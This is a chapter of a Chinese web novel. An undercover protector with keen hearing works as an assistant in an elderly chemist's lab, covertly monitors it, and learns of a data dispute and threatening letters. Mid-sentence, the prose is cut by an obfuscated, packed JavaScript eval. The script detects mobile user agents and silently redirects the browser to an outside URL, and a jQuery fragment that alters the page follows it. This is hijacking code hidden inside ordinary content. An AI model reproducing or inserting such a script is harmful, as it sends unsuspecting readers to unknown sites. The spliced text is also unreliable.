早上七点五十,杨晓晓准时出现在307实验室门口。
她手里提着两个袋子:一袋是陈树准备的“入职用品”——新笔记本、几支笔、一个计算器;另一袋是她自己买的,里面装着沈老喜欢的那种茉莉花茶,还有一包独立包装的小茶饼。
敲门前,她深吸一口气,调整了一下藏在耳朵里的微型接收器——这是雷昊特制的,外观像普通无线耳机,实际上能让她随时与指挥中心保持联络,同时不干扰她的自然听力。
“进来。”沈老的声音传来,比昨天更沙哑了些。
推开门,实验室里已经有人了。除了沈老,还有两个年轻人,一男一女,正围在实验台前讨论什么。见到杨晓晓,他们停下来,好奇地打量她。
“新来的助理,小杨。”沈老头也不抬地介绍,“这两个是我的学生,赵磊,刘静。以后你有什么不懂的,可以先问他们——当然,问我最好。”
赵磊是个戴眼镜的瘦高个,友好地笑了笑:“欢迎。沈老师这里终于有专职助理了,我们也能轻松点。”
刘静看起来更文静,只是点点头,继续低头记录数据。
“今天你的任务。”沈老指指墙角的一排玻璃器皿,“把所有烧杯、试管、培养皿洗干净,用蒸馏水冲三遍,烘干,分类放好。洗的时候注意看有没有裂纹——上次赵磊打碎了一个100毫升的量筒,扣了他半个月补助。”
赵磊尴尬地推了推眼镜。
杨晓晓点头:“好的。”
她走到水池边,戴上橡胶手套,开始清洗器皿。水流的哗啦声、玻璃碰撞的清脆声、烘干机的低鸣……这些声音交织在一起,形成实验室的背景音。而在这之下,杨晓晓分出一部分注意力,开始系统性地监听整个环境。
首先是实验室内部:沈老的呼吸平稳但略显急促,有心律不齐的迹象;赵磊在操作离心机时手指有细微颤抖,似乎紧张;刘静记录数据时笔尖划过纸张的速度很快,偶尔停顿,像是在思考。
然后是实验室外部:走廊里有脚步声,时远时近;楼下某间实验室传来仪器报警声,很快被关闭;更远处,研究院大门口保安在闲聊,内容是关于昨晚的足球赛。
一切听起来都很正常。
直到上午十点左右。
杨晓晓正在擦拭最后一个烧杯,耳朵忽然捕捉到走廊尽头楼梯间里的声音——压得很低的对话声,两个人。
“……数据肯定有问题,他那个重复实验的结果太完美了……”
“你确定?沈老可不是会造假的人。”
“我不是说他造假,我是说……可能有无意识的选择性记录。你知道的,人总是倾向于记住符合预期的数据……”
声音逐渐远去。杨晓晓记住了这两个声音的特征:一个音调较高,语速快;一个低沉,带着犹豫。
她继续手里的工作,但心里记下了这个信息:实验室里可能存在着数据争议。
中午,沈老从旧暖水瓶里倒出已经凉了的茉莉花茶,就着馒头当午餐。杨晓晓犹豫了一下,拿出自己带的小茶饼:“沈老师,我这有独立包装的,您要尝尝吗?”
沈老瞥了一眼,摇头:“喝惯了那种,别的没味。”他咬了口馒头,含糊地说,“你们年轻人就喜欢这些花里胡哨的。”
杨晓晓也不介意,自己泡了杯茶。茶叶在热水中舒展,发出极细微的嘶嘶声。她忽然想起什么,问:“沈老师,您做这行多少年了?”
沈老咀嚼的动作顿了顿:“从大学毕业算起……五十年零三个月。”他喝了口茶,“那时候条件比现在苦多了,仪器都是二手的,试剂得省着用。哪像现在……”他看了眼实验室里崭新的光谱仪,那是院里去年才配的。
“那您为什么一直坚持?”杨晓晓问。这问题一半是好奇,一半是任务需要——了解保护对象的动机和性格。
沈老沉默了几秒,指了指墙上贴着一张发黄的图纸:“看见那个了吗?”
杨晓晓看过去,那是一张手绘的晶体结构图,线条已经模糊,但标注依然清晰。
“那是我博士毕业时画的,我导师说这个结构不可能稳定存在。”沈老声音很平静,“我不信,做了三十年实验,失败了成百上千次。直到十年前,我第一次在电子显微镜下看到它——虽然只稳定了零点三秒。”
他转过头,眼镜片后的眼睛亮得惊人:“就为了那零点三秒,三十年都值。”
杨晓晓忽然觉得鼻子有点酸。她想起自己之前的人生——上班、下班、吐槽、盼周末,最大的烦恼是奶茶长胖和绿萝又死了。而眼前这位老人,用了半个世纪的时间,就为了捕捉某个物质存在零点三秒的证据。
“很傻吧?”沈老笑了,露出不太整齐的牙齿。
“不。”杨晓晓摇头,“很了不起。”
下午的实验出了点小意外。赵磊在配置溶液时算错了浓度,导致反应异常,产生了一小股刺鼻气体。沈老立刻指挥大家开通风橱,自己却第一个冲过去处理废液。
“沈老师,我来吧!”赵磊慌了。
“站远点,这气体有毒。”沈老的声音很严厉,但动作稳而快。他戴着简易防毒面具,手法熟练地中和溶液,处理废弃物。整个过程不到五分钟。
事后,沈老把赵磊叫到一边,没有大声斥责,而是拿出纸笔,重新讲解浓度计算公式。“科学容不得马虎,”他说,语气是罕见的温和,“你这次错的是数据,下次可能就是安全。”
赵磊低着头,肩膀微微颤抖。
杨晓晓在一旁清洗工具,听到了赵磊极轻的抽泣声,还有沈老拍他肩膀时布料摩擦的声音。
傍晚六点,该下班了。刘静和赵陆续离开,沈老却还坐在显微镜前。
“沈老师,您还不走吗?”杨晓晓问。
“还有个数据要复核,你们先走。”沈老摆摆手,“记得锁门。”
杨晓晓收拾好东西,走出实验室。但她没有离开研究院,而是按照陈树的指示,来到隔壁楼的一间临时监听室——这里已经布置好设备,能让她在不上班时间继续监控307实验室。
雷昊已经在里面了,面前是三块显示屏,分别显示着实验室不同角度的监控画面——都是隐蔽摄像头拍摄的。
“感觉如何?”雷昊递
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17191497|197074||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
给她一瓶水。
“沈老人很好。”杨晓晓接过水,“但实验室里……可能有些内部问题。我听到有人在议论数据争议。”
雷昊点头:“我们也监听到了类似对话。是研究院另一个课题组的人,他们在竞争下个季度的经费。”他调出一份资料,“领头的是个叫孙志远的副教授,四十岁,海外留学回来,作风比较……激进。”
杨晓晓皱眉:“他会构成威胁吗?”
“目前看只是学术竞争,但我们会盯着。”雷昊敲击键盘,“你今晚的任务是监听沈老下班后的实验室环境。他已经连续三天工作到凌晨了。”
杨晓晓戴上专业耳机,将注意力集中到307实验室。
她听到了沈老平稳的呼吸声,仪器低鸣,还有笔尖在纸上书写的沙沙声。偶尔,沈老会自言自语:“这个峰值不对……温度再调高零点五度试试……”
晚上九点,沈老接了个电话。杨晓晓立刻调高灵敏度。
“……知道了,我会注意。”沈老的声音听起来很疲惫,“材料我会按时交,你放心。至于那些信……不用管,搞科研的谁没收到过几封威胁信?”
电话那头的人似乎很激动,声音透过听筒隐约传来:“……不能大意……已经报警……”
“报警有什么用?”沈老叹气,“他们又不能24小时守着我。行了,我要做实验了。”
电话挂断。
杨晓晓和雷昊对视一眼。
“是研究院院长打来的。”雷昊已经追踪了号码,“沈老没把威胁信的事告诉太多人,连院长都只是简单提过。”
凌晨一点,沈老终于离开实验室。杨晓晓听到锁门声,脚步声渐行渐远。她摘下耳机,揉了揉发胀的太阳穴。
“第一天,感觉怎么样?”陈树的声音从通讯器传来——他一直在远程监听。
“沈老比想象中更……执着。”杨晓晓说,“我有点明白为什么要保护他了。”
“嗯。”陈树顿了顿,“明天继续。另外,熊毅那边已经完成住所安全检查,林墨在研究院外围布控完毕。你现在是沈老最近的一道防线,记住你的职责。”
“明白。”
走出监听室,夜空中有稀疏的星星。杨晓晓抬头看了一眼,忽然想起沈老说的“为了零点三秒,三十年都值”。
她拿出手机,给陈树发了条消息:“陈总监,我一定会保护好他。”
几秒后,回复来了:“早点休息,明天任务继续。”
杨晓晓收起手机,朝宿舍走去。夜风吹过,带着初夏的微凉。她想起白天沈老冲过去处理危险气体时的背影,想起他拍赵磊肩膀时粗糙的手,想起他说“科学容不得马虎”时的严肃表情。
这位老人用半个世纪的时间,追逐着某个物质存在零点三秒的证据。
而她现在的任务,是确保他能继续追逐下去。
“问题不大。”她轻声对自己说,脚步变得坚定。
实验室里的暗流,学术上的争议,潜在的威胁——这些她都会一一监听,一一分辨,一一应对。
因为有些人,值得被保护。